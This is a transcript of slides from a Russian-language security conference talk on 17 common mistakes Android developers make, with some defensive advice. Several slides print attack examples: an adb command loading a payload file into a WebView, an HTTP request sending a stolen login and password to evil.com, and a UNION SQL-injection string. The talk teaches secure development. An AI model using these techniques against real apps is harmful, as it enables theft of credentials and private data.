Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Уязвимое Android-приложение: N проверенных способов наступить на грабли

Уязвимое Android-приложение: N проверенных способов наступить на грабли

Доклад Николая Анисени и Сергея Тошина (Positive Technologies) о наиболее опасных ошибках, которые допускают Android-разработчики при создании приложений, на PHDays VII.

695d44581c32d62f5393163739a66846?s=128

Positive Development User Group

September 25, 2017
Tweet

More Decks by Positive Development User Group

Other Decks in Programming

Transcript

  1. Заголовок ptsecurity.com Уязвимое Android- приложение: N проверенных способов наступить на

    грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
  2. N = 17;

  3. Заголовок ptsecurity.com Уязвимое Android- приложение: 17 проверенных способов наступить на

    грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
  4. Заголовок АНИСЕНЯ НИКОЛАЙ • специалист отдела исследований безопасности мобильных приложений

    Positive Technologies; • аспирант Томского Государственного Университета; • участник CTF-комады SiBears. whoami ТОШИН СЕРГЕЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • разработчик анализатора исходных кодов Android-приложений; • участник программ bugbounty.
  5. Заголовок Модели нарушителя Удаленный нарушитель • На сервере • На

    другом клиенте • В канале связи Локальный нарушитель • Трояны • Приложения с закладками Нарушитель с физическим доступом к устройству • Кража или утеря • Кратковременный доступ
  6. Заголовок Версии Android на устройствах пользователей Ice Cream Sandwich 15

    2% Jelly Bean 16 8% Jelly Bean 17 11% Jelly Bean 18 3% KitKat 19 34% Lollipop 21 17% Lollipop 22 20% Marshmallow 23 5% % от общего числа устройств на Android
  7. Заголовок Проверенные способы

  8. Заголовок Способ 1: хранение логинов и паролей в открытом виде

    /data/data/<app_name>/shared_prefs/AppName.xml
  9. Заголовок Способ 2: ключи шифрования в коде

  10. Заголовок Способ 2: ключи шифрования в коде

  11. Заголовок Способ 3: ключ из короткого пин-кода

  12. Заголовок Способ 3: ключ из короткого пин-кода

  13. Заголовок Способ 3: ключ из короткого пин-кода

  14. Заголовок Способ 4: http-запросы открытым текстом

  15. Заголовок Способ 5: отключенная проверка сертификатов

  16. Заголовок Способ 6: некорректный Certificate Pinning или его отсутствие Pinning

    in HttpClient No pinning in WebView
  17. Заголовок Способ 6: некорректный Certificate Pinning или его отсутствие

  18. Заголовок Способ 7: отравление кэша WebView

  19. Заголовок Способ 8: доступ к файловой системе через WebView

  20. Заголовок Способ 8: доступ к файловой системе через WebView $

    adb shell am start -d "file:///sdcard/payload.html" nanisenya. app_android/.MainActivity
  21. Заголовок Способ 8: доступ к файловой системе через WebView /sdcard/payload.html

  22. Заголовок Способ 8: доступ к файловой системе через WebView GET

    /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C string%20name=%22LOGIN%22%3Ealice%3C/string%3E %0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123 %3C/string%3E%0A%3C/map%3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close
  23. Заголовок Способ 9: Client-side SQL-injection String query = "SELECT *

    FROM messages WHERE msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
  24. Заголовок Способ 9: Client-side SQL-injection SELECT * FROM messages WHERE

    msg LIKE ' UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
  25. Заголовок Способ 10: забываем убрать allowBackup и debuggable AndroidManifest.xml

  26. Заголовок Способ 10: забываем убрать allowBackup и debuggable $ adb

    backup -all android:allowBackup=“true”
  27. Заголовок Способ 10: забываем убрать allowBackup и debuggable android:debuggable=“true”

  28. Заголовок Способ 11: экспортированные компоненты adb shell am broadcast –d

    com.example.myapplication/.MyReceiver
  29. Заголовок Способ 11: экспортированные компоненты android:exported=“false”

  30. Заголовок Способ 12: отправка широковещательных сообщений

  31. Заголовок Способ 12: отправка широковещательных сообщений Register receiver Send broadcast

    intent
  32. Заголовок Способ 13: не проверяем action в коде Broadcast Receiver

  33. Заголовок Способ 13: не проверяем action в коде Broadcast Receiver

  34. Заголовок Способ 13: не проверяем action в коде Broadcast Receiver

  35. Заголовок Способ 14: отсутствие фильтрации во входящем intent

  36. Заголовок Способ 15: вложенные intent Dispatcher Activity exported= “true” Settings

    Activity exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent
  37. Заголовок Способ 15: вложенные intent

  38. Заголовок Способ 16: произвольные объекты в intent public void onCreate(Bundle

    arg3) { super.onCreate(arg3); this.setContentView(this.o_()); this.b(true); this.setTitle(null); this.o(); this.p(); this.b = this.getIntent() .getParcelableExtra("PAGE_INFO"); if(arg3 == null && this.b != null) { this.a(this.b); } }
  39. Заголовок Способ 16: произвольные объекты в intent public static final

    class PageInfo implements Parcelable { public String startPageUrl; public byte[] startPagePostData; public String cookies; public String successUri; public String failUri; … }
  40. Заголовок Способ 17: Fragment Injection

  41. Заголовок Способ 17: Fragment Injection

  42. Заголовок Способ 17: Fragment Injection

  43. Заголовок Способ 17: Fragment Injection

  44. Заголовок Способ 17: Fragment Injection Уязвимость сохраняется, если - Android

    < KitKat - TargetSDK < KitKat (import android.support.v4.app.Fragment;) - Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов Защита - TargetSDK >= KitKat - Использовать isValidFragment
  45. Заголовок ptsecurity.com Спасибо! Спасибо!